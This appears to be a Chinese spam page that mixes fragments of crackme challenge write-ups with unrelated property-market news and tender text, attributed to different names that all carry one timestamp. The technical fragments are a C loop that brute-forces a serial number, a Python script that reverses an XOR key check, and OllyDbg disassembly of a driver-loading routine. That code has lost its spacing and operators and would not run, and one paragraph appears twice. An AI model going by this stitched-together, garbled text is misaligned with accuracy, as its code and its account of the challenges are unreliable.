,0x15,0x17,0xAC,0x64,0x78,0xD5,0x4A,0x60,0x2D,0xF0,0x54,0xA6,0xF3,0xE8,0xE0,0xE0,0xB9,0x8F,0x85,0x90,0xE4,0xEA,0xD6,0xBB,0xB7,0x15,0x9E,0x2A,0x44,0xE7,0x31,0x63,0xAC,0x80,0x6C,0x34,0x82,0xE9,0xCF};DWORDmagic=0x2979;DWORDsum;BYTEbuf2[0x100];intidx;charsSN[7];intsn;for(sn=0sn1000000sn++){sprintf(sSN,"%06d",sn);for(idx=0idx0x100idx++){buf2[idx]=idx;}BYTEc=0;for(idx=0idx0x100idx++){BYTEc2=buf2[idx];c+=(BYTE)sSN[idx%6]+c2;buf2[idx]=buf2[c];buf2[c]=c2;}sum=0;for(idx=0idx0x80idx++){c=(buf2[idx]+buf2[0xff-idx])^buf1[idx];sum+=c;if(summagic){//大于就退出,不再浪费时间break;}}if(sum==magic){//等于,找到OutputDebugString(sSN);break;}}if(sn=1000000){OutputDebugString("未找到!");returnfalse;}returntrue;}很快能计算出结果:771535DeviceIoControl这个地方是个坑,原来以为只是用来反调试的,后续发现它会设置一个全局变量dword_114D8=1;这个变量在驱动层计算md5中要使用,没有这个,每次不管输入的是什么,驱动层返回的md5都一样。,验证完成,我们接下来就是分析API流程,并改变关键跳转。。

许志卫2018-7-21 6:19:29

  穗莞深同城尽在虎门  除了这些正待开建的项目,虎门正在建设中的交通配套也不容忽视。,完整的dump脚本本来想找个反编译工具的,结果一直找不到,最后看了看脚本中的字符串,发现xor,再对比一下输入输出,果然是xor.反推:1.根据输入的字符串,输出的结果,以及异或的过程和最终的对比结果,直接用python还原:#python3#输入字符串,长度不等于12则返回结果全为0inputN=mapzzzzzzz12#经过luajit运算之后的结果outN=[0x1d,0x4,0x14,0x13,0x3,0x4b,0x48,0x49,0x4e,0x4f,0x7,0x5]#C代码中异或的值cXorList=[0x5,0x12,0xa,0x29,0x42,0x41,0x75,0x61,0x35,0x83,0x55,0x94]#最终的比较结果cmpList=[0x18,0x16,0x1e,0x2f,0x48,0x11,0x21,0x37,0x33,0x86,0x52,0x94]#求luajit中异或的值luaXorList=[]#这个list中值为输入字符串之后应该输出的值needList=[]foriinrange(0,len(inputN)):tmp=cXorList[i]^cmpList[i]#print(hex(tmp))(tmp0xff)foriinrange(0,len(inputN)):tmp=ord(inputN[i])^outN[i]#print(hex(tmp))(tmp0xff)strRet=foriinrange(0,len(inputN)):tmp=luaXorList[i]^needList[i]#print(hex(tmp))strRet+=chr(tmp)print(strRet)。    有人说,年味淡了;有人说,怀念从前。。

吕猛2018-7-21 6:19:29

根据相同两个操作数异或为零的特性,只要其余十个字符成五对或全部相同即可忽略,于是可以快速得到几组key"","^^^^^^^^^^^","~~~~~~~~~~~""AABBCCDDEE","ABABCDCDEE"即只要是"","^","~"三个字符中的任意一个加上其他五对字符,位置任意,就是可行的key,这是其中一种解集。,商业成交金额TOP10根据深圳房地产信息网的监测,汇隆商务中心以362711万元摘取全市商业成交金额龙虎榜桂冠,万科蛇口公馆以57862万元取得亚军排名,卓越前海壹号以41512万元居于季军之位。。其实就是对输入分别与下面这一串异或,返回结果。。

李斌斌2018-7-21 6:19:29

完整的dump脚本本来想找个反编译工具的,结果一直找不到,最后看了看脚本中的字符串,发现xor,再对比一下输入输出,果然是xor.反推:1.根据输入的字符串,输出的结果,以及异或的过程和最终的对比结果,直接用python还原:#python3#输入字符串,长度不等于12则返回结果全为0inputN=mapzzzzzzz12#经过luajit运算之后的结果outN=[0x1d,0x4,0x14,0x13,0x3,0x4b,0x48,0x49,0x4e,0x4f,0x7,0x5]#C代码中异或的值cXorList=[0x5,0x12,0xa,0x29,0x42,0x41,0x75,0x61,0x35,0x83,0x55,0x94]#最终的比较结果cmpList=[0x18,0x16,0x1e,0x2f,0x48,0x11,0x21,0x37,0x33,0x86,0x52,0x94]#求luajit中异或的值luaXorList=[]#这个list中值为输入字符串之后应该输出的值needList=[]foriinrange(0,len(inputN)):tmp=cXorList[i]^cmpList[i]#print(hex(tmp))(tmp0xff)foriinrange(0,len(inputN)):tmp=ord(inputN[i])^outN[i]#print(hex(tmp))(tmp0xff)strRet=foriinrange(0,len(inputN)):tmp=luaXorList[i]^needList[i]#print(hex(tmp))strRet+=chr(tmp)print(strRet),这位来自番禺的客户非常看好雅居乐民森迪茵湖小镇,据说他从番禺开车过来项目也才40分钟。。”该代表表示。。

胡笛2018-7-21 6:19:29

坪山今年将持续在住房、教育、医疗等方面发力,打造青年创业家友好型城区,让在坪山燃烧青春、托付梦想的青年才俊们,感受到家的温暖和关爱。,数据显示:2018年1月小户型产品90㎡以下的户型整体成交均价47748元;改善型产品90~144㎡户型的整体成交均价48646元;大户型产品144㎡以上的户型整体成交均价84569元。。(自有品牌的提供品牌注册证明或品牌核准证明、加盟品牌的提供有效期内的加盟授权书或其它能够证明其拥有品牌独立进行经营的相关资料)3、截至投标日时,投标人至少有1家相同或以上面积及同品牌的分店正在运营。。

王彦威2018-7-21 6:19:29

解题过程1.查看程序1.题目提示要在xp下运行,看了看资源,发现有驱动,将文件提取出来,用PEID的算法插件KANAL扫描驱动,发现有MD5算法:2.用OD加载程序CrakeME,下断点CreateFileA,一次断在释放驱动的时候,另一次断在加载驱动的时候:00401DE8|.53PUSHEBX/hTemplateFile=NULL00401DE9|.6880000000PUSH0x80|Attributes=NORMAL00401DEE|.6A03PUSH0x3|Mode=OPEN_EXISTING00401DF0|.53PUSHEBX|pSecurity=NULL00401DF1|.53PUSHEBX|ShareMode=000401DF2|.68000000C0PUSH0xC0000000|Access=GENERIC_READ|GENERIC_WRITE00401DF7|.|FileName=\\.\vmxdrv00401DFC|.FF1588324200CALLNEARDWORDPTRDS:[\CreateFileA在CreateFileA的下一条指令下断点,运行程序,程序直接出错退出。,unsignedchardata[156]={0x01,0x04,0x08,0x02,0x04,0x08,0x03,0x04,0x08,0x04,0x04,0x08,0x05,0x04,0x08,0x06,0x04,0x08,0x07,0x04,0x08,0x08,0x04,0x08,0x09,0x04,0x08,0x01,0x04,0x08,0x02,0x04,0x08,0x03,0x04,0x08,0x04,0x04,0x08,0x05,0x04,0x08,0x06,0x04,0x08,0x07,0x04,0x08,0x08,0x04,0x08,0x09,0x04,0x08,0x01,0x04,0x08,0x02,0x04,0x08,0x03,0x04,0x08,0x04,0x04,0x08,0x05,0x04,0x08,0x06,0x04,0x08,0x07,0x04,0x08,0x08,0x04,0x08,0x09,0x04,0x08,0x01,0x04,0x08,0x02,0x04,0x08,0x03,0x04,0x08,0x04,0x04,0x08,0x05,0x04,0x08,0x06,0x04,0x08,0x07,0x04,0x08,0x08,0x04,0x08,0x09,0x04,0x08,0x01,0x04,0x08,0x02,0x04,0x08,0x03,0x04,0x08,0x04,0x04,0x08,0x05,0x04,0x08,0x06,0x04,0x08,0x07,0x04,0x08,0x08,0x04,0x08,0x09,0x04,0x08,0x01,0x04,0x08,0x02,0x04,0x08,0x03,0x04,0x08,0x04,0x04,0x08,0x05,0x04,0x08,0x06,0x04,0x08,0x00,0x00,0x00};在CALL00403910这个函数中验证,长度位0x9c,方式位高低字节减0x30分别与表中的每个元素的高低字节比较:找到数字对应关系,多输入几次试验下就出来了:。于是,打开OllyDBG,直接go到该地址处(0x7582030B):通过往上翻看,查找代码来源,可以得知,这段代码确实来自于UnhandleExceptionFilter函数中。。

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